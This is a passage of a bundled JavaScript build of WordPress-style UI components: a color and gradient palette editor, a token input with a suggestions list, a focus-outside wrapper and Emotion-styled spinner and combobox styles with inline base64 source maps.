37684 }), isGradient && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)("div", {
37685 className: "components-palette-edit__popover-gradient-picker",
37686 children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(custom_gradient_picker_default, {
37687 __experimentalIsRenderedInSidebar: true,
37688 value: element.gradient,
37689 onChange: (newGradient) => {
37690 onChange({
37691 ...element,
37692 gradient: newGradient
37693 });
37694 }
37695 })
37696 })]
37697 });
37698 }
37699 function Option2({
37700 canOnlyChangeValues,
37701 element,
37702 onChange,
37703 onRemove,
37704 popoverProps: receivedPopoverProps,
37705 slugPrefix,
37706 isGradient
37707 }) {
37708 const value = isGradient ? element.gradient : element.color;
37709 const [isEditingColor, setIsEditingColor] = (0, import_element115.useState)(false);
37710 const [popoverAnchor, setPopoverAnchor] = (0, import_element115.useState)(null);
37711 const popoverProps = (0, import_element115.useMemo)(() => ({
37712 ...receivedPopoverProps,
37713 // Use the custom palette color item as the popover anchor.
37714 anchor: popoverAnchor
37715 }), [popoverAnchor, receivedPopoverProps]);
37716 return /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(component_default35, {
37717 ref: setPopoverAnchor,
37718 size: "small",
37719 children: [/* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(component_default9, {
37720 justify: "flex-start",
37721 children: [/* @__PURE__ */ (0, import_jsx_runtime181.jsx)(button_default, {
37722 size: "small",
37723 onClick: () => {
37724 setIsEditingColor(true);
37725 },
37726 "aria-label": (0, import_i18n35.sprintf)(
37727 // translators: %s is a color or gradient name, e.g. "Red".
37728 (0, import_i18n35.__)("Edit: %s"),
37729 element.name.trim().length ? element.name : value || ""
37730 ),
37731 style: {
37732 padding: 0
37733 },
37734 children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(IndicatorStyled, {
37735 colorValue: value
37736 })
37737 }), /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(component_default5, {
37738 children: !canOnlyChangeValues ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(NameInput, {
37739 label: isGradient ? (0, import_i18n35.__)("Gradient name") : (0, import_i18n35.__)("Color name"),
37740 value: element.name,
37741 onChange: (nextName) => onChange({
37742 ...element,
37743 name: nextName,
37744 slug: slugPrefix + kebabCase(nextName ?? "")
37745 })
37746 }) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(NameContainer, {
37747 children: element.name.trim().length ? element.name : (
37748 /* Fall back to non-breaking space to maintain height */
37749 "\xA0"
37750 )
37751 })
37752 }), !canOnlyChangeValues && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(component_default4, {
37753 children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(RemoveButton, {
37754 size: "small",
37755 icon: line_solid_default,
37756 label: (0, import_i18n35.sprintf)(
37757 // translators: %s is a color or gradient name, e.g. "Red".
37758 (0, import_i18n35.__)("Remove color: %s"),
37759 element.name.trim().length ? element.name : value || ""
37760 ),
37761 onClick: onRemove
37762 })
37763 })]
37764 }), isEditingColor && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(ColorPickerPopover, {
37765 isGradient,
37766 onChange,
37767 element,
37768 popoverProps,
37769 onClose: () => setIsEditingColor(false)
37770 })]
37771 });
37772 }
37773 function PaletteEditListView({
37774 elements: elements2,
37775 onChange,
37776 canOnlyChangeValues,
37777 slugPrefix,
37778 isGradient,
37779 popoverProps,
37780 addColorRef
37781 }) {
37782 const elementsReferenceRef = (0, import_element115.useRef)(void 0);
37783 (0, import_element115.useEffect)(() => {
37784 elementsReferenceRef.current = elements2;
37785 }, [elements2]);
37786 const debounceOnChange = (0, import_compose43.useDebounce)((updatedElements) => onChange(deduplicateElementSlugs(updatedElements)), 100);
37787 return /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(component_default18, {
37788 spacing: 3,
37789 children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(component_default36, {
37790 isRounded: true,
37791 isBordered: true,
37792 isSeparated: true,
37793 children: elements2.map((element, index2) => /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(Option2, {
37794 isGradient,
37795 canOnlyChangeValues,
37796 element,
37797 onChange: (newElement) => {
37798 debounceOnChange(elements2.map((currentElement, currentIndex) => {
37799 if (currentIndex === index2) {
37800 return newElement;
37801 }
37802 return currentElement;
37803 }));
37804 },
37805 onRemove: () => {
37806 const newElements = elements2.filter((_currentElement, currentIndex) => {
37807 if (currentIndex === index2) {
37808 return false;
37809 }
37810 return true;
37811 });
37812 onChange(newElements.length ? newElements : void 0);
37813 addColorRef.current?.focus();
37814 },
37815 slugPrefix,
37816 popoverProps
37817 }, index2))
37818 })
37819 });
37820 }
37821 var EMPTY_ARRAY = [];
37822 function PaletteEdit({
37823 gradients,
37824 colors = EMPTY_ARRAY,
37825 onChange,
37826 paletteLabel,
37827 paletteLabelHeadingLevel = 2,
37828 emptyMessage,
37829 canOnlyChangeValues,
37830 canReset,
37831 slugPrefix = "",
37832 popoverProps
37833 }) {
37834 const isGradient = !!gradients;
37835 const elements2 = isGradient ? gradients : colors;
37836 const [isEditing, setIsEditing] = (0, import_element115.useState)(false);
37837 const [editingElement, setEditingElement] = (0, import_element115.useState)(null);
37838 const isAdding = isEditing && !!editingElement && elements2[editingElement] && !elements2[editingElement].slug;
37839 const elementsLength = elements2.length;
37840 const hasElements = elementsLength > 0;
37841 const debounceOnChange = (0, import_compose43.useDebounce)(onChange, 100);
37842 const onSelectPaletteItem = (0, import_element115.useCallback)((value, newEditingElementIndex) => {
37843 const selectedElement = newEditingElementIndex === void 0 ? void 0 : elements2[newEditingElementIndex];
37844 const key = isGradient ? "gradient" : "color";
37845 if (!!selectedElement && selectedElement[key] === value) {
37846 setEditingElement(newEditingElementIndex);
37847 } else {
37848 setIsEditing(true);
37849 }
37850 }, [isGradient, elements2]);
37851 const addColorRef = (0, import_element115.useRef)(null);
37852 return /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(PaletteEditStyles, {
37853 children: [/* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(component_default9, {
37854 children: [/* @__PURE__ */ (0, import_jsx_runtime181.jsx)(PaletteHeading, {
37855 level: paletteLabelHeadingLevel,
37856 children: paletteLabel
37857 }), /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(PaletteActionsContainer, {
37858 children: [hasElements && isEditing && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(DoneButton, {
37859 size: "small",
37860 onClick: () => {
37861 setIsEditing(false);
37862 setEditingElement(null);
37863 },
37864 children: (0, import_i18n35.__)("Done")
37865 }), !canOnlyChangeValues && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(button_default, {
37866 ref: addColorRef,
37867 size: "small",
37868 isPressed: isAdding,
37869 icon: plus_default,
37870 label: isGradient ? (0, import_i18n35.__)("Add gradient") : (0, import_i18n35.__)("Add color"),
37871 onClick: () => {
37872 const {
37873 name,
37874 slug
37875 } = getNameAndSlugForPosition(elements2, slugPrefix);
37876 if (!!gradients) {
37877 onChange([...gradients, {
37878 gradient: DEFAULT_GRADIENT,
37879 name,
37880 slug
37881 }]);
37882 } else {
37883 onChange([...colors, {
37884 color: DEFAULT_COLOR,
37885 name,
37886 slug
37887 }]);
37888 }
37889 setIsEditing(true);
37890 setEditingElement(elements2.length);
37891 }
37892 }), hasElements && (!isEditing || !canOnlyChangeValues || canReset) && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(dropdown_menu_default, {
37893 icon: more_vertical_default,
37894 label: isGradient ? (0, import_i18n35.__)("Gradient options") : (0, import_i18n35.__)("Color options"),
37895 toggleProps: {
37896 size: "small"
37897 },
37898 children: ({
37899 onClose
37900 }) => /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_jsx_runtime181.Fragment, {
37901 children: /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(menu_default2, {
37902 role: "menu",
37903 children: [!isEditing && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(button_default, {
37904 __next40pxDefaultSize: true,
37905 variant: "tertiary",
37906 onClick: () => {
37907 setIsEditing(true);
37908 onClose();
37909 },
37910 className: "components-palette-edit__menu-button",
37911 children: (0, import_i18n35.__)("Show details")
37912 }), !canOnlyChangeValues && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(button_default, {
37913 __next40pxDefaultSize: true,
37914 variant: "tertiary",
37915 onClick: () => {
37916 setEditingElement(null);
37917 setIsEditing(false);
37918 onChange();
37919 onClose();
37920 },
37921 className: "components-palette-edit__menu-button",
37922 children: isGradient ? (0, import_i18n35.__)("Remove all gradients") : (0, import_i18n35.__)("Remove all colors")
37923 }), canReset && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(button_default, {
37924 __next40pxDefaultSize: true,
37925 className: "components-palette-edit__menu-button",
37926 variant: "tertiary",
37927 onClick: () => {
37928 setEditingElement(null);
37929 onChange();
37930 onClose();
37931 },
37932 children: isGradient ? (0, import_i18n35.__)("Reset gradient") : (0, import_i18n35.__)("Reset colors")
37933 })]
37934 })
37935 })
37936 })]
37937 })]
37938 }), hasElements && /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(PaletteEditContents, {
37939 children: [isEditing && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(PaletteEditListView, {
37940 canOnlyChangeValues,
37941 elements: elements2,
37942 onChange,
37943 slugPrefix,
37944 isGradient,
37945 popoverProps,
37946 addColorRef
37947 }), !isEditing && editingElement !== null && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(ColorPickerPopover, {
37948 isGradient,
37949 onClose: () => setEditingElement(null),
37950 onChange: (newElement) => {
37951 debounceOnChange(
37952 // @ts-expect-error TODO: Don't know how to resolve
37953 elements2.map((currentElement, currentIndex) => {
37954 if (currentIndex === editingElement) {
37955 return newElement;
37956 }
37957 return currentElement;
37958 })
37959 );
37960 },
37961 element: elements2[editingElement ?? -1],
37962 popoverProps
37963 }), !isEditing && (isGradient ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(gradient_picker_default, {
37964 gradients,
37965 onChange: onSelectPaletteItem,
37966 clearable: false,
37967 disableCustomGradients: true
37968 }) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(color_palette_default, {
37969 colors,
37970 onChange: onSelectPaletteItem,
37971 clearable: false,
37972 disableCustomColors: true
37973 }))]
37974 }), !hasElements && emptyMessage && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(PaletteEditContents, {
37975 children: emptyMessage
37976 })]
37977 });
37978 }
37979 var palette_edit_default = PaletteEdit;
37980
37981 // packages/components/build-module/combobox-control/index.mjs
37982 var import_i18n37 = __toESM(require_i18n(), 1);
37983 var import_element119 = __toESM(require_element(), 1);
37984 var import_compose46 = __toESM(require_compose(), 1);
37985 var import_a11y5 = __toESM(require_a11y(), 1);
37986
37987 // packages/components/build-module/combobox-control/styles.mjs
37988 var deprecatedDefaultSize = ({
37989 __next40pxDefaultSize
37990 }) => !__next40pxDefaultSize && /* @__PURE__ */ css("height:28px;padding-left:", space(1), ";padding-right:", space(1), ";" + (false ? "" : ";label:deprecatedDefaultSize;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQkkiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBGbGV4IH0gZnJvbSAnLi4vZmxleCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB0eXBlIHsgQ29tYm9ib3hDb250cm9sUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgZGVwcmVjYXRlZERlZmF1bHRTaXplID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IENvbWJvYm94Q29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiZcblx0Y3NzYFxuXHRcdGhlaWdodDogMjhweDsgLy8gMzBweCAtIDJweCB2ZXJ0aWNhbCBib3JkZXJzIG9uIHBhcmVudCBjb250YWluZXJcblx0XHRwYWRkaW5nLWxlZnQ6ICR7IHNwYWNlKCAxICkgfTtcblx0XHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggMSApIH07XG5cdGA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFdyYXBwZXJGbGV4ID0gc3R5bGVkKCBGbGV4IClgXG5cdGhlaWdodDogMzhweDsgLy8gNDBweCAtIDJweCB2ZXJ0aWNhbCBib3JkZXJzIG9uIHBhcmVudCBjb250YWluZXJcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcblxuXHQkeyBkZXByZWNhdGVkRGVmYXVsdFNpemUgfVxuYDtcbiJdfQ== */");
37991 var InputWrapperFlex = /* @__PURE__ */ createStyled(component_default3, false ? {
37992 target: "evuatpg0"
37993 } : {
37994 target: "evuatpg0",
37995 label: "InputWrapperFlex"
37996 })("height:38px;padding-left:", space(2), ";padding-right:", space(2), ";", deprecatedDefaultSize, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1QjhDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgdHlwZSB7IENvbWJvYm94Q29udHJvbFByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IGRlcHJlY2F0ZWREZWZhdWx0U2l6ZSA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBDb21ib2JveENvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmXG5cdGNzc2Bcblx0XHRoZWlnaHQ6IDI4cHg7IC8vIDMwcHggLSAycHggdmVydGljYWwgYm9yZGVycyBvbiBwYXJlbnQgY29udGFpbmVyXG5cdFx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggMSApIH07XG5cdFx0cGFkZGluZy1yaWdodDogJHsgc3BhY2UoIDEgKSB9O1xuXHRgO1xuXG5leHBvcnQgY29uc3QgSW5wdXRXcmFwcGVyRmxleCA9IHN0eWxlZCggRmxleCApYFxuXHRoZWlnaHQ6IDM4cHg7IC8vIDQwcHggLSAycHggdmVydGljYWwgYm9yZGVycyBvbiBwYXJlbnQgY29udGFpbmVyXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cblx0JHsgZGVwcmVjYXRlZERlZmF1bHRTaXplIH1cbmA7XG4iXX0= */"));
37997
37998 // packages/components/build-module/form-token-field/token-input.mjs
37999 var import_element116 = __toESM(require_element(), 1);
38000 var import_jsx_runtime182 = __toESM(require_jsx_runtime(), 1);
38001 function UnForwardedTokenInput(props, ref) {
38002 const {
38003 value,
38004 isExpanded,
38005 instanceId,
38006 selectedSuggestionIndex,
38007 className: className2,
38008 onChange,
38009 onFocus,
38010 onBlur,
38011 ...restProps
38012 } = props;
38013 const [hasFocus2, setHasFocus] = (0, import_element116.useState)(false);
38014 const size3 = value ? value.length + 1 : 0;
38015 const onChangeHandler = (event) => {
38016 if (onChange) {
38017 onChange({
38018 value: event.target.value
38019 });
38020 }
38021 };
38022 const onFocusHandler = (e3) => {
38023 setHasFocus(true);
38024 onFocus?.(e3);
38025 };
38026 const onBlurHandler = (e3) => {
38027 setHasFocus(false);
38028 onBlur?.(e3);
38029 };
38030 return /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("input", {
38031 ref,
38032 id: `components-form-token-input-${instanceId}`,
38033 type: "text",
38034 ...restProps,
38035 value: value || "",
38036 onChange: onChangeHandler,
38037 onFocus: onFocusHandler,
38038 onBlur: onBlurHandler,
38039 size: size3,
38040 className: clsx_default(className2, "components-form-token-field__input"),
38041 autoComplete: "off",
38042 role: "combobox",
38043 "aria-expanded": isExpanded,
38044 "aria-autocomplete": "list",
38045 "aria-owns": isExpanded ? `components-form-token-suggestions-${instanceId}` : void 0,
38046 "aria-activedescendant": (
38047 // Only add the `aria-activedescendant` attribute when:
38048 // - the user is actively interacting with the input (`hasFocus`)
38049 // - there is a selected suggestion (`selectedSuggestionIndex !== -1`)
38050 // - the list of suggestions are rendered in the DOM (`isExpanded`)
38051 hasFocus2 && selectedSuggestionIndex !== -1 && isExpanded ? `components-form-token-suggestions-${instanceId}-${selectedSuggestionIndex}` : void 0
38052 ),
38053 "aria-describedby": `components-form-token-suggestions-howto-${instanceId}`
38054 });
38055 }
38056 var TokenInput = (0, import_element116.forwardRef)(UnForwardedTokenInput);
38057 TokenInput.displayName = "TokenInput";
38058 var token_input_default = TokenInput;
38059
38060 // packages/components/build-module/form-token-field/suggestions-list.mjs
38061 var import_compose44 = __toESM(require_compose(), 1);
38062 var import_i18n36 = __toESM(require_i18n(), 1);
38063 var import_jsx_runtime183 = __toESM(require_jsx_runtime(), 1);
38064 var handleMouseDown = (e3) => {
38065 e3.preventDefault();
38066 };
38067 function SuggestionsList({
38068 selectedIndex,
38069 scrollIntoView,
38070 match: match4,
38071 onHover,
38072 onSelect,
38073 suggestions = [],
38074 displayTransform,
38075 instanceId,
38076 __experimentalRenderItem
38077 }) {
38078 const listRef = (0, import_compose44.useRefEffect)((listNode) => {
38079 if (selectedIndex > -1 && scrollIntoView && listNode.children[selectedIndex]) {
38080 listNode.children[selectedIndex].scrollIntoView({
38081 behavior: "instant",
38082 block: "nearest",
38083 inline: "nearest"
38084 });
38085 }
38086 }, [selectedIndex, scrollIntoView]);
38087 const handleHover = (suggestion) => {
38088 return () => {
38089 onHover?.(suggestion);
38090 };
38091 };
38092 const handleClick = (suggestion) => {
38093 return () => {
38094 onSelect?.(suggestion);
38095 };
38096 };
38097 const computeSuggestionMatch = (suggestion) => {
38098 const matchText = displayTransform(match4).normalize("NFKC").toLocaleLowerCase();
38099 if (matchText.length === 0) {
38100 return null;
38101 }
38102 const transformedSuggestion = displayTransform(suggestion);
38103 const indexOfMatch = transformedSuggestion.normalize("NFKC").toLocaleLowerCase().indexOf(matchText);
38104 return {
38105 suggestionBeforeMatch: transformedSuggestion.substring(0, indexOfMatch),
38106 suggestionMatch: transformedSuggestion.substring(indexOfMatch, indexOfMatch + matchText.length),
38107 suggestionAfterMatch: transformedSuggestion.substring(indexOfMatch + matchText.length)
38108 };
38109 };
38110 return /* @__PURE__ */ (0, import_jsx_runtime183.jsxs)("ul", {
38111 ref: listRef,
38112 className: "components-form-token-field__suggestions-list",
38113 id: `components-form-token-suggestions-${instanceId}`,
38114 role: "listbox",
38115 children: [suggestions.map((suggestion, index2) => {
38116 const matchText = computeSuggestionMatch(suggestion);
38117 const isSelected2 = index2 === selectedIndex;
38118 const isDisabled = typeof suggestion === "object" && suggestion?.disabled;
38119 const key = typeof suggestion === "object" && "value" in suggestion ? suggestion?.value : displayTransform(suggestion);
38120 const className2 = clsx_default("components-form-token-field__suggestion", {
38121 "is-selected": isSelected2
38122 });
38123 let output;
38124 if (typeof __experimentalRenderItem === "function") {
38125 output = __experimentalRenderItem({
38126 item: suggestion
38127 });
38128 } else if (matchText) {
38129 output = /* @__PURE__ */ (0, import_jsx_runtime183.jsxs)("span", {
38130 "aria-label": displayTransform(suggestion),
38131 children: [matchText.suggestionBeforeMatch, /* @__PURE__ */ (0, import_jsx_runtime183.jsx)("strong", {
38132 className: "components-form-token-field__suggestion-match",
38133 children: matchText.suggestionMatch
38134 }), matchText.suggestionAfterMatch]
38135 });
38136 } else {
38137 output = displayTransform(suggestion);
38138 }
38139 return /* @__PURE__ */ (0, import_jsx_runtime183.jsx)("li", {
38140 id: `components-form-token-suggestions-${instanceId}-${index2}`,
38141 role: "option",
38142 className: className2,
38143 onMouseDown: handleMouseDown,
38144 onClick: handleClick(suggestion),
38145 onMouseEnter: handleHover(suggestion),
38146 "aria-selected": index2 === selectedIndex,
38147 "aria-disabled": isDisabled,
38148 children: output
38149 }, key);
38150 }), suggestions.length === 0 && /* @__PURE__ */ (0, import_jsx_runtime183.jsx)("li", {
38151 className: "components-form-token-field__suggestion is-empty",
38152 children: (0, import_i18n36.__)("No items found")
38153 })]
38154 });
38155 }
38156 var suggestions_list_default = SuggestionsList;
38157
38158 // packages/components/build-module/higher-order/with-focus-outside/index.mjs
38159 var import_element117 = __toESM(require_element(), 1);
38160 var import_compose45 = __toESM(require_compose(), 1);
38161 var import_jsx_runtime184 = __toESM(require_jsx_runtime(), 1);
38162 var with_focus_outside_default = (0, import_compose45.createHigherOrderComponent)((WrappedComponent) => function WithFocusOutside(props) {
38163 const [handleFocusOutside, setHandleFocusOutside] = (0, import_element117.useState)(void 0);
38164 const bindFocusOutsideHandler = (0, import_element117.useCallback)((node2) => setHandleFocusOutside(() => node2?.handleFocusOutside ? node2.handleFocusOutside.bind(node2) : void 0), []);
38165 return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)("div", {
38166 ...(0, import_compose45.__experimentalUseFocusOutside)(handleFocusOutside),
38167 children: /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(WrappedComponent, {
38168 ref: bindFocusOutsideHandler,
38169 ...props
38170 })
38171 });
38172 }, "withFocusOutside");
38173
38174 // packages/components/build-module/spinner/styles.mjs
38175 function _EMOTION_STRINGIFIED_CSS_ERROR__25() {
38176 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
38177 }
38178 var spinAnimation = keyframes2`
38179 from {
38180 transform: rotate(0deg);
38181 }
38182 to {
38183 transform: rotate(360deg);
38184 }
38185 `;
38186 var StyledSpinner = /* @__PURE__ */ createStyled("svg", false ? {
38187 target: "ea4tfvq2"
38188 } : {
38189 target: "ea4tfvq2",
38190 label: "StyledSpinner"
38191 })("width:", config_values_default.spinnerSize, "px;height:", config_values_default.spinnerSize, "px;display:inline-block;margin:5px 11px 0;position:relative;color:", COLORS.theme.accent, ";overflow:visible;opacity:1;background-color:transparent;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQnVDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuY29uc3Qgc3BpbkFuaW1hdGlvbiA9IGtleWZyYW1lc2Bcblx0ZnJvbSB7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG5cdH1cblx0dG8ge1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdH1cbiBgO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkU3Bpbm5lciA9IHN0eWxlZC5zdmdgXG5cdHdpZHRoOiAkeyBDT05GSUcuc3Bpbm5lclNpemUgfXB4O1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5zcGlubmVyU2l6ZSB9cHg7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0bWFyZ2luOiA1cHggMTFweCAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdG92ZXJmbG93OiB2aXNpYmxlO1xuXHRvcGFjaXR5OiAxO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbmA7XG5cbmNvbnN0IGNvbW1vblBhdGhQcm9wcyA9IGNzc2Bcblx0ZmlsbDogdHJhbnNwYXJlbnQ7XG5cdHN0cm9rZS13aWR0aDogMS41cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lclRyYWNrID0gc3R5bGVkLmNpcmNsZWBcblx0JHsgY29tbW9uUGF0aFByb3BzIH07XG5cdHN0cm9rZTogJHsgQ09MT1JTLmdyYXlbIDMwMCBdIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lckluZGljYXRvciA9IHN0eWxlZC5wYXRoYFxuXHQkeyBjb21tb25QYXRoUHJvcHMgfTtcblx0c3Ryb2tlOiBjdXJyZW50Q29sb3I7XG5cdHN0cm9rZS1saW5lY2FwOiByb3VuZDtcblx0dHJhbnNmb3JtLW9yaWdpbjogNTAlIDUwJTtcblx0YW5pbWF0aW9uOiAxLjRzIGxpbmVhciBpbmZpbml0ZSBib3RoICR7IHNwaW5BbmltYXRpb24gfTtcbmA7XG4iXX0= */"));
38192 var commonPathProps = false ? {
38193 name: "9s4963",
38194 styles: "fill:transparent;stroke-width:1.5px"
38195 } : {
38196 name: "o2zng0-commonPathProps",
38197 styles: "fill:transparent;stroke-width:1.5px;label:commonPathProps;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQzJCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuY29uc3Qgc3BpbkFuaW1hdGlvbiA9IGtleWZyYW1lc2Bcblx0ZnJvbSB7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG5cdH1cblx0dG8ge1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdH1cbiBgO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkU3Bpbm5lciA9IHN0eWxlZC5zdmdgXG5cdHdpZHRoOiAkeyBDT05GSUcuc3Bpbm5lclNpemUgfXB4O1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5zcGlubmVyU2l6ZSB9cHg7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0bWFyZ2luOiA1cHggMTFweCAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdG92ZXJmbG93OiB2aXNpYmxlO1xuXHRvcGFjaXR5OiAxO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbmA7XG5cbmNvbnN0IGNvbW1vblBhdGhQcm9wcyA9IGNzc2Bcblx0ZmlsbDogdHJhbnNwYXJlbnQ7XG5cdHN0cm9rZS13aWR0aDogMS41cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lclRyYWNrID0gc3R5bGVkLmNpcmNsZWBcblx0JHsgY29tbW9uUGF0aFByb3BzIH07XG5cdHN0cm9rZTogJHsgQ09MT1JTLmdyYXlbIDMwMCBdIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lckluZGljYXRvciA9IHN0eWxlZC5wYXRoYFxuXHQkeyBjb21tb25QYXRoUHJvcHMgfTtcblx0c3Ryb2tlOiBjdXJyZW50Q29sb3I7XG5cdHN0cm9rZS1saW5lY2FwOiByb3VuZDtcblx0dHJhbnNmb3JtLW9yaWdpbjogNTAlIDUwJTtcblx0YW5pbWF0aW9uOiAxLjRzIGxpbmVhciBpbmZpbml0ZSBib3RoICR7IHNwaW5BbmltYX